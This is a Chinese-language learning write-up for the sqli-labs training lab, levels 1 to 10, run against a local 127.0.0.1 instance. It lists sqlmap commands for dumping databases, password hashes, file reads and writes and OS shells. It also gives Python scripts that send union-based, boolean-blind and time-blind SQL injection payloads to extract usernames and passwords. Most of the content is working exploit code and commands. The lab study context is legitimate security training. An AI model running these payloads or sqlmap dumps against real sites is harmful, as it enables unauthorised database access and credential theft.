sqli-labs(1~10)脚本、sqlmap学习

一些准备

  1. 安装sqlmap
  2. 命令行pip install requests 检查时候安装request或者需要更新,否则无法使用;
  3. 加引号快捷键用不,用正则表达式进行替换
(.*?):(.*)
'$1':'$2',

sqlmap基础知识

  1. sqlmap常见步骤:
sqlmap -u url --dbs #获取数据库
sqlmap -u url --current-user #获取当前用户名称 :
sqlmap -u url --current-db #获取当前数据库名称
sqlmap -u url -D 数据库名 --tables   #列出表名 : 
sqlmap -u url -D 数据库名 -T 表名 --columns #列出字段 
sqlmap -u url -D 数据库名 -T 表名 -C 字段名1,字段名2,…… --dump #获取字段内容
  1. 常见参数
--cookie=cookie的内容        设置cookie 值 通常配合获取数据库使用 
--data        设置 POST 提交的值
-u        指定目标 URL
-b        获取 DBMS banner
--current-db        获取当前数据库
--current-user        获取当前数据库的用户
--tables        获取数据库里所有的表名
--columns        获取表里的所有字段
--dump        获取字段中的内容
--current-user        获取当前用户
-D [数据库名]       指定数据库名
-T  [表名]      指定表名
-C  [字段名]      指定字段名
--string       当查询可用时用来匹配页面中的字符串
--users        枚举所有用户
--passwords      枚举所有用户的密码hsah
--dbs      枚举数据库中的数据库名
-r       指定请求包

GET型注入一般用 sqlmap -u url
POST型注入一般用 sqlmap -u url --data POST参数
  1. 常见命令
--sql-query=" "  执行查询语句
--level 5  探测等级(1~5 默认为1,等级越高Payload越多,速度也比较慢)
--is-dba   判断当前用户是否是管理员权限
--roles    列出数据库管理员角色(仅适用与Oracle数据库)
--referer  HTTP Referer头(伪造HTTP头中的Referer,当--level等级大于等于3时会通过伪造Referer来进行注入)
--sql-shell 运行自定义SQL语句 用法:sqlmap -u url --sql-shell
--os-cmd,--os-shell 运行任意操作系统命令(仅支持MySQL、PostgreSQL、SQL Server)
--file-read 从数据库服务器中读取文件(要知道文件绝对路径)
--file-write "本地文件路径" --file-dest "远程绝对路径"   上传文件到数据库服务器中

less-1(普普通通的get)

脚本:获取用户和密码

import urllib.parse #解析url
import http.client #实现了所有 HTTP 的方法(GET、POST、PUT、HEAD、DELETE、HEAD、OPTIONS 等)
                   #支持 HTTPS 协议
                   #支持代理服务器(Nginx等)等
                   #支持自动(跳转)转向

url = "127.0.0.1"
#body必须url编码,可用urllib.parse.quote()转,或者浏览器上转
body="/sqli/Less-1/?id=-1%27%20union%20select%201,2,group_concat(concat_ws(%27~%27,username,password))from%20security.users--+"
c = http.client.HTTPConnection(url) #确定对象
c.request("GET", body) #确定方式 
r = c.getresponse()
print(r.status, r.reason) #状态字,状态原因
data = r.read()
print(data)

结果

less-2

id=-1--+,其他都一样

less-3

id=-1')--+,其他都一样

less-4

id=-1")--+,其他都一样

less-5(get盲注)

知识点补充:

%s 在python中用法:
1. %10s代表输出宽度为10个字符,如果输出的字符串不超过10,则在左边补空格;宽度超过10,按原长度输出
2. %-10s表示如果输出的字符串宽度不超过10,则在右边补齐空格;宽度超过10,按原长度输出
3. %.10s表示截取前10个字符,若原长度不够10,则原样输出
4. %s 作为待定字符,在后%(i,j)可进行替换,达到爆破效果

脚本:爆破数据库名称

import urllib.parse
import http.client

#爆破字典
d = list('abcdefghijklmnopqrstuvwxyz')
name = ''
url = "127.0.0.1"

#不确定字数情况下,可以手注确认或者把爆破字数范围扩大
for i in range(1,20):
	for j in d:
		c = http.client.HTTPConnection(url)

        # 一个大坑:必须是url编码,除了%s外都是%%前缀,否则会报错
		body = "/sqli/Less-5/?id=1%%27%%20and%%20mid(database(),%s,1)=%%27%s%%27--+" % (i,j)
		print(body)
		c.request("GET", body) #确定方式
		r = c.getresponse() #提取响应包
		data = r.read()
		c.close()
		#确认正确的一项,拼接
		if data.find(b'You are in') >0: 
			name += j
			print(j)
			break
		else:
			print("no")
print(name)

结果

less-6(sqlmap+脚本)

(emmmmm,不得不说第一次使用sqlmap,怀疑自己之前爆破个库名都死去活来,是不是傻= =)

查看库名

sqlmap.py  -u "http://127.0.0.1/sqli/Less-6/?id=1/" --dbs 

查看表名

sqlmap.py  -u "http://127.0.0.1/sqli/Less-6/?id=1/" --tables

查看列名

sqlmap.py  -u "http://127.0.0.1/sqli/Less-6/?id=1/" -D "security" -T "users" --columns

查看用户密码

sqlmap.py  -u "http://127.0.0.1/sqli/Less-6/?id=1/" -D "security" -T "users" -C "id","password" --dump

脚本:查询id=2的用户密码

# 复制粘贴修改body
import urllib.parse
import http.client

#爆破字典
d = list('abcdefghijklmnopqrstuvwxyz123456789-_')
name = ''
url = "127.0.0.1"

#不确定字数情况下,可以手注确认或者把爆破字数范围扩大
for i in range(1,15):
	for j in d:
		c = http.client.HTTPConnection(url)
		body = "/sqli/Less-6/?id=1%%22%%20and%%20mid((select%%20password%%20from%%20security.users%%20where%%20id=2),%s,1)=%%27%s%%27%%20--+" % (i,j)
		print(body)
		c.request("GET", body) #确定方式
		r = c.getresponse() #提取响应包
		data = r.read()
		c.close()
		#确认正确的一项,拼接
		if data.find(b'You are in') >0: 
			name += j
			print(j)
			break
		else:
			print("no")
print(name)

结果

less-7

id=1'))--+,布尔盲注,脚本基本一样
练习一下sqlmap

查询开头为a的用户和密码

sqlmap.py  -u "http://127.0.0.1/sqli/Less-7/?id=1/" -D "security" -T "users" --sql-query="select username,password from users where username like 'a%'";

less-8

id=1'--+,其他一样

less-9(时间盲注)

脚本:id=2的用户名,要多运行一两次,排除因为网速出现的延迟

import time
import urllib.parse
import http.client

#爆破字典
d = list('abcdefghijklmnopqrstuvwxyz')
name = ''
url = "127.0.0.1"

#不确定字数情况下,可以手注确认或者把爆破字数范围扩大
for i in range(1,15):
    for j in d:
        time1=time.time() #开始时间
        c=http.client.HTTPConnection(url)
        body="/sqli/Less-9/?id=1%%27%%20and%%20if(mid((select%%20username%%20from%%20security.users%%20where%%20id=2),%s,1)=%%27%s%%27,sleep(1),0)--+"%(i,j)
        print(body)
        c.request("GET", body) #确定方式
        r = c.getresponse() #提取响应包
        time2=time.time() #结束时间
        data = r.read()
        c.close()
        #确认正确的一项,拼接
        if time2-time1 >1:
            name += j
            print(j)
            break
		
print(name)

结果

less-10

id=1"--+,其他和9一样